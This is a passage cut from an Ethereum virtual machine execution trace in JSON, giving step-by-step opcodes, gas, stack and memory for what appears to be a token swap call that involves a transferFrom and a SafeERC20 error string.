00000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12130,"op":"DUP11","gas":78756,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12131,"op":"MLOAD","gas":78753,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12132,"op":"PUSH2","gas":78750,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12135,"op":"SWAP2","gas":78747,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2","0x2","0x2f6d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12136,"op":"SWAP1","gas":78744,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12137,"op":"PUSH2","gas":78741,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12140,"op":"JUMP","gas":78738,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15130,"op":"JUMPDEST","gas":78730,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15131,"op":"PUSH1","gas":78729,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15133,"op":"DUP3","gas":78726,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15134,"op":"DUP3","gas":78723,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15135,"op":"LT","gas":78720,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15136,"op":"ISZERO","gas":78717,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182",